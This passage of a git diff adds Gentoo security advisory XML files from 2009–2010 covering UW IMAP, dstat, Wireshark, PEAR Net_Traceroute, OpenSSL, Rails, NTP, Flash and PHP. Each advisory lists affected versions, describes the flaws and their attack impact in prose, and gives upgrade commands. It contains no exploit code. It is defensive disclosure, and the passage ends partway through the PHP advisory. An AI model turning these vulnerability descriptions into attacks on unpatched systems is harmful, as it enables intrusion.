+    </package>
+    <package name="net-mail/uw-imap" auto="yes" arch="*">
+      <unaffected range="ge">2007e</unaffected>
+      <vulnerable range="lt">2007e</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The UW IMAP toolkit is a daemon for the IMAP and POP3 network mail
+    protocols. The c-client library provides an API for IMAP, POP3 and
+    other protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in the UW IMAP toolkit:
+    </p>
+    <ul>
+    <li>Aron Andersson and Jan Sahlin of Bitsec reported boundary errors in
+    the "tmail" and "dmail" utilities when processing overly long mailbox
+    names, leading to stack-based buffer overflows (CVE-2008-5005).</li>
+    <li>An error in smtp.c in the c-client library was found, leading to a
+    NULL pointer dereference vulnerability (CVE-2008-5006).</li>
+    <li>Ludwig
+    Nussel reported an off-by-one error in the rfc822_output_char()
+    function in the RFC822BUFFER routines in the c-client library, as used
+    by the UW IMAP toolkit (CVE-2008-5514).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send an e-mail to a destination mailbox name
+    composed of a username and '+' character followed by a long string,
+    possibly leading to the execution of arbitrary code. A local attacker
+    could gain privileges by specifying a long folder extension argument to
+    the tmail or dmail program. Furthermore, a remote attacker could send a
+    specially crafted mail message to the UW IMAP toolkit or another daemon
+    using the c-client library, leading to a Denial of Service. A remote
+    SMTP server could respond to the QUIT command with a close of the TCP
+    connection instead of the expected 221 response code, possibly leading
+    to a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All c-client library users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/c-client-2007e&quot;</code>
+    <p>
+    All UW IMAP toolkit users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-mail/uw-imap-2007e&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5005">CVE-2008-5005</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5006">CVE-2008-5006</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5514">CVE-2008-5514</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Jan 2009 17:17:18 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 13 Jan 2009 17:27:25 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Nov 2009 13:23:47 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200911-04.xml b/xml/htdocs/security/en/glsa/glsa-200911-04.xml
new file mode 100644
index 00000000..46bdc39c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200911-04.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200911-04">
+  <title>dstat: Untrusted search path</title>
+  <synopsis>
+    An untrusted search path vulnerability in the dstat might result in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">dstat</product>
+  <announced>November 25, 2009</announced>
+  <revised>November 25, 2009: 01</revised>
+  <bug>293497</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/dstat" auto="yes" arch="*">
+      <unaffected range="ge">0.6.9-r1</unaffected>
+      <vulnerable range="lt">0.6.9-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    dstat is a versatile system resource monitor written in Python.
+    </p>
+  </background>
+  <description>
+    <p>
+    Robert Buchholz of the Gentoo Security Team reported that dstat
+    includes the current working directory and subdirectories in the Python
+    module search path (sys.path) before calling "import".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could entice a user to run "dstat" from a directory
+    containing a specially crafted Python module, resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Do not run "dstat" from untrusted working directories.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All dstat users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/dstat-0.6.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3894">CVE-2009-3894</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 17 Nov 2009 12:30:20 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 17 Nov 2009 12:35:21 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Nov 2009 13:40:09 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200911-05.xml b/xml/htdocs/security/en/glsa/glsa-200911-05.xml
new file mode 100644
index 00000000..b594167c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200911-05.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200911-05">
+  <title>Wireshark: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Wireshark, allowing for
+    the remote execution of arbitrary code, or Denial of Service.
+  </synopsis>
+  <product type="ebuild">wireshark</product>
+  <announced>November 25, 2009</announced>
+  <revised>November 25, 2009: 01</revised>
+  <bug>285280</bug>
+  <bug>290710</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/wireshark" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="lt">1.2.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Wireshark is a versatile network protocol analyzer.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Wireshark:
+    </p>
+    <ul><li>Ryan Giobbi reported an integer overflow in wiretap/erf.c
+    (CVE-2009-3829).</li>
+    <li>The vendor reported multiple unspecified
+    vulnerabilities in the Bluetooth L2CAP, RADIUS, and MIOP dissectors
+    (CVE-2009-2560), in the OpcUa dissector (CVE-2009-3241), in packet.c in
+    the GSM A RR dissector (CVE-2009-3242), in the TLS dissector
+    (CVE-2009-3243), in the Paltalk dissector (CVE-2009-3549), in the
+    DCERPC/NT dissector (CVE-2009-3550), and in the
+    dissect_negprot_response() function in packet-smb.c in the SMB
+    dissector (CVE-2009-3551).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted "erf"
+    file using Wireshark, possibly resulting in the execution of arbitrary
+    code with the privileges of the user running the application. A remote
+    attacker could furthermore send specially crafted packets on a network
+    being monitored by Wireshark or entice a user to open a malformed
+    packet trace file using Wireshark, possibly resulting in a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Wireshark users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/wireshark-1.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2560">CVE-2009-2560</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3241">CVE-2009-3241</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3242">CVE-2009-3242</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3243">CVE-2009-3243</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3549">CVE-2009-3549</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3550">CVE-2009-3550</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3551">CVE-2009-3551</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3829">CVE-2009-3829</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 04 Nov 2009 23:06:15 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 04 Nov 2009 23:24:04 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 25 Nov 2009 15:36:13 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200911-06.xml b/xml/htdocs/security/en/glsa/glsa-200911-06.xml
new file mode 100644
index 00000000..5ab8b37d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200911-06.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200911-06">
+  <title>PEAR Net_Traceroute: Command injection</title>
+  <synopsis>
+    An input sanitation error in PEAR Net_Traceroute might allow remote
+    attackers to execute arbitrary commands.
+  </synopsis>
+  <product type="ebuild">PEAR-Net_Traceroute</product>
+  <announced>November 26, 2009</announced>
+  <revised>November 26, 2009: 01</revised>
+  <bug>294264</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/PEAR-Net_Traceroute" auto="yes" arch="*">
+      <unaffected range="ge">0.21.2</unaffected>
+      <vulnerable range="lt">0.21.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PEAR Net_Traceroute is an OS independent wrapper class for executing
+    traceroute calls from PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pasquale Imperato reported that the $host parameter to the traceroute()
+    function in Traceroute.php is not properly sanitized before being
+    passed to exec().
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability when user input is
+    passed directly to PEAR Net_Traceroute in a PHP script, possibly
+    resulting in the remote execution of arbitrary shell commands with the
+    privileges of the user running the affected PHP script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Ensure that all data that is passed to the traceroute() function is
+    properly shell escaped (for instance using the escapeshellcmd()
+    function).
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PEAR Net_Traceroute users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/PEAR-Net_Traceroute-0.21.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4025">CVE-2009-4025</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 26 Nov 2009 07:38:17 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Nov 2009 07:53:00 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 26 Nov 2009 19:14:35 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200912-01.xml b/xml/htdocs/security/en/glsa/glsa-200912-01.xml
new file mode 100644
index 00000000..b8efbb45
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200912-01.xml
@@ -0,0 +1,97 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200912-01">
+  <title>OpenSSL: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in OpenSSL might allow remote attackers to conduct
+    multiple attacks, including the injection of arbitrary data into encrypted
+    byte streams.
+  </synopsis>
+  <product type="ebuild">openssl</product>
+  <announced>December 01, 2009</announced>
+  <revised>December 02, 2009: 02</revised>
+  <bug>270305</bug>
+  <bug>280591</bug>
+  <bug>292022</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/openssl" auto="yes" arch="*">
+      <unaffected range="ge">0.9.8l-r2</unaffected>
+      <vulnerable range="lt">0.9.8l-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSL is an Open Source toolkit implementing the Secure Sockets Layer
+    (SSL v2/v3) and Transport Layer Security (TLS v1) as well as a general
+    purpose cryptography library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in OpenSSL:
+    </p>
+    <ul>
+    <li>Marsh Ray of PhoneFactor and Martin Rex of SAP independently
+    reported that the TLS protocol does not properly handle session
+    renegotiation requests (CVE-2009-3555).</li>
+    <li>The MD2 hash algorithm is no longer considered to be
+    cryptographically strong, as demonstrated by Dan Kaminsky. Certificates
+    using this algorithm are no longer accepted (CVE-2009-2409).</li>
+    <li>Daniel Mentz and Robin Seggelmann reported the following
+    vulnerabilities related to DTLS: A use-after-free flaw (CVE-2009-1379)
+    and a NULL pointer dereference (CVE-2009-1387) in the
+    dtls1_retrieve_buffered_fragment() function in src/d1_both.c, multiple
+    memory leaks in the dtls1_process_out_of_seq_message() function in
+    src/d1_both.c (CVE-2009-1378), and a processing error related to a
+    large amount of DTLS records with a future epoch in the
+    dtls1_buffer_record() function in ssl/d1_pkt.c
+    (CVE-2009-1377).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker, acting as a Man in the Middle, could
+    inject arbitrary plain text into a TLS session, possibly leading to the
+    ability to send requests as if authenticated as the victim. A remote
+    attacker could furthermore send specially crafted DTLS packages to a
+    service using OpenSSL for DTLS support, possibly resulting in a Denial
+    of Service. Also, a remote attacker might be able to create rogue
+    certificates, facilitated by a MD2 collision. NOTE: The amount of
+    computation needed for this attack is still very large.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/openssl-0.9.8l-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1377">CVE-2009-1377</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1378">CVE-2009-1378</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1379">CVE-2009-1379</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1387">CVE-2009-1387</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2409">CVE-2009-2409</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555">CVE-2009-3555</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 23 Nov 2009 21:29:47 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 30 Nov 2009 13:42:39 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 01 Dec 2009 21:28:40 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200912-02.xml b/xml/htdocs/security/en/glsa/glsa-200912-02.xml
new file mode 100644
index 00000000..f09e90a1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200912-02.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200912-02">
+  <title>Ruby on Rails: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Rails, the worst of which
+    leading to the execution of arbitrary SQL statements.
+  </synopsis>
+  <product type="ebuild">rails</product>
+  <announced>December 20, 2009</announced>
+  <revised>December 20, 2009: 01</revised>
+  <bug>200159</bug>
+  <bug>237385</bug>
+  <bug>247549</bug>
+  <bug>276279</bug>
+  <bug>283396</bug>
+  <bug>294797</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-ruby/rails" auto="yes" arch="*">
+      <unaffected range="ge">2.3.5</unaffected>
+      <unaffected range="rge">2.2.3-r1</unaffected>
+      <vulnerable range="lt">2.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby on Rails is a web-application and persistence framework.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following vulnerabilities were discovered:
+    </p>
+    <ul>
+    <li>sameer
+    reported that lib/action_controller/cgi_process.rb removes the
+    :cookie_only attribute from the default session options
+    (CVE-2007-6077), due to an incomplete fix for CVE-2007-5380 (GLSA
+    200711-17).</li>
+    <li>Tobias Schlottke reported that the :limit and
+    :offset parameters of ActiveRecord::Base.find() are not properly
+    sanitized before being processed (CVE-2008-4094).</li>
+    <li>Steve from
+    Coderrr reported that the CRSF protection in protect_from_forgery()
+    does not parse the text/plain MIME format (CVE-2008-7248).</li>
+    <li>Nate reported a documentation error that leads to the assumption
+    that a block returning nil passed to
+    authenticate_or_request_with_http_digest() would deny access to the
+    requested resource (CVE-2009-2422).</li>
+    <li>Brian Mastenbrook reported
+    an input sanitation flaw, related to multibyte characters
+    (CVE-2009-3009).</li>
+    <li>Gabe da Silveira reported an input sanitation
+    flaw in the strip_tags() function (CVE-2009-4214).</li>
+    <li>Coda Hale
+    reported an information disclosure vulnerability related to HMAC
+    digests (CVE-2009-3086).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted requests to a vulnerable
+    application, possibly leading to the execution of arbitrary SQL
+    statements or a circumvention of access control. A remote attacker
+    could also conduct session fixation attacks to hijack a user's session
+    or bypass the CSRF protection mechanism, or furthermore conduct
+    Cross-Site Scripting attacks or forge a digest via multiple attempts.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby on Rails 2.3.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-ruby/rails-2.3.5&quot;</code>
+    <p>
+    All Ruby on Rails 2.2.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;=dev-ruby/rails-2.2.3-r1&quot;</code>
+    <p>
+    NOTE: All applications using Ruby on Rails should also be configured to
+    use the latest version available by running "rake rails:update" inside
+    the application directory.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5380">CVE-2007-5380</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6077">CVE-2007-6077</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4094">CVE-2008-4094</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7248">CVE-2008-7248</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2422">CVE-2009-2422</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3009">CVE-2009-3009</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3086">CVE-2009-3086</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4214">CVE-2009-4214</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200711-17.xml">GLSA 200711-17</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 30 Nov 2008 18:11:48 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 11 Mar 2009 19:07:59 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 19 Mar 2009 12:17:35 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-01.xml b/xml/htdocs/security/en/glsa/glsa-201001-01.xml
new file mode 100644
index 00000000..9063161f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-01.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-01">
+  <title>NTP: Denial of Service</title>
+  <synopsis>
+    A Denial of Service condition in ntpd can cause excessive CPU or bandwidth
+    consumption.
+  </synopsis>
+  <product type="ebuild">ntp</product>
+  <announced>January 03, 2010</announced>
+  <revised>January 03, 2010: 01</revised>
+  <bug>290881</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/ntp" auto="yes" arch="*">
+      <unaffected range="ge">4.2.4_p7-r1</unaffected>
+      <vulnerable range="lt">4.2.4_p7-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    NTP is a set of the Network Time Protocol programs.
+    </p>
+  </background>
+  <description>
+    <p>
+    Robin Park and Dmitri Vinokurov discovered that ntp_request.c in ntpd
+    does not handle MODE_PRIVATE packets correctly, causing a continuous
+    exchange of MODE_PRIVATE error responses between two NTP daemons or
+    causing high CPU load on a single host.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote, unauthenticated attacker could send a specially crafted
+    MODE_PRIVATE packet, allowing for a Denial of Service condition (CPU
+    and bandwidth consumption).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All NTP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/ntp-4.2.4_p7-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3563">CVE-2009-3563</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 10 Dec 2009 20:02:44 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 30 Dec 2009 15:53:37 +0000">
+    craig
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 03 Jan 2010 00:05:58 +0000">
+    craig
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-02.xml b/xml/htdocs/security/en/glsa/glsa-201001-02.xml
new file mode 100644
index 00000000..4d68d073
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-02.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-02">
+  <title>Adobe Flash Player: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Adobe Flash Player might allow remote attackers
+    to execute arbitrary code or cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">adobe-flash</product>
+  <announced>January 03, 2010</announced>
+  <revised>January 03, 2010: 01</revised>
+  <bug>296407</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">10.0.42.34</unaffected>
+      <vulnerable range="lt">10.0.42.34</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Adobe Flash Player is a renderer for the SWF file format, which is
+    commonly used to provide interactive websites.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in Adobe Flash Player:
+    </p>
+    <ul><li>An anonymous researcher working with the Zero Day
+    Initiative reported that Adobe Flash Player does not properly process
+    JPEG files (CVE-2009-3794).</li>
+    <li>Jim Cheng of EffectiveUI reported
+    an unspecified data injection vulnerability (CVE-2009-3796).</li>
+    <li>Bing Liu of Fortinet's FortiGuard Labs reported multiple
+    unspecified memory corruption vulnerabilities (CVE-2009-3797,
+    CVE-2009-3798).</li>
+    <li>Damian Put reported an integer overflow in the
+    Verifier::parseExceptionHandlers() function (CVE-2009-3799).</li>
+    <li>Will Dormann of CERT reported multiple unspecified Denial of
+    Service vulnerabilities (CVE-2009-3800).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted SWF
+    file, possibly resulting in the remote execution of arbitrary code with
+    the privileges of the user running the application, or a Denial of
+    Service via unknown vectors.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-10.0.42.34&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3794">CVE-2009-3794</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3796">CVE-2009-3796</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3797">CVE-2009-3797</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3798">CVE-2009-3798</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3799">CVE-2009-3799</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3800">CVE-2009-3800</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 18 Dec 2009 01:11:11 +0000">
+    craig
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 31 Dec 2009 14:21:28 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 03 Jan 2010 17:18:41 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-201001-03.xml b/xml/htdocs/security/en/glsa/glsa-201001-03.xml
new file mode 100644
index 00000000..09e9ee24
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-201001-03.xml
@@ -0,0 +1,118 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="201001-03">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in PHP, the worst of which leading to
+    the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">php</product>
+  <announced>January 05, 2010</announced>
+  <revised>January 05, 2010: 01</revised>
+  <bug>249875</bug>
+  <bug>255121</bug>
+  <bug>260576</bug>
+  <bug>261192</bug>
+  <bug>266125</bug>
+  <bug>274670</bug>
+  <bug>280602</bug>
+  <bug>285434</bug>
+  <bug>292132</bug>
+  <bug>293888</bug>
+  <bug>297369</bug>
+  <bug>297370</bug>
+  <access>local remote</access>
+  <affected>
+    <package name="dev-lang/php" auto="yes" arch="*">
+      <unaffected range="ge">5.2.12</unaffected>
+      <vulnerable range="lt">5.2.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a widely-used general-purpose scripting language that is
+    especially suited for Web development and can be embedded into HTML.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been discovered in PHP. Please review the
+    CVE identifiers referenced below and the associated PHP release notes
+    for details.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A context-dependent attacker could execute arbitrary code via a
+    specially crafted string containing an HTML entity when the mbstring
+    extension is enabled. Furthermore a remote attacker could execute
+    arbitrary code via a specially crafted GD graphics file.
+    </p>
+    <p>
+    A remote attacker could also cause a Denial of Service via a malformed
+    string passed to the json_decode() function, via a specially crafted
+    ZIP file passed to the php_zip_make_relative_path() function, via a
+    malformed JPEG image passed to the exif_read_data() function, or via
+    temporary file exhaustion. It is also possible for an attacker to spoof
+    certificates, bypass various safe_mode and open_basedir restrictions
+    when certain criteria are met, perform Cross-site scripting attacks,
+    more easily perform SQL injection attacks, manipulate settings of other
+    virtual hosts on the same server via a malicious .htaccess entry when
+    running on Apache, disclose memory portions, and write arbitrary files
+    via a specially crafted ZIP archive. Some vulnerabilities with unknown
+    impact and attack vectors have been reported as well.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHP users should upgrade to the latest version. As PHP is
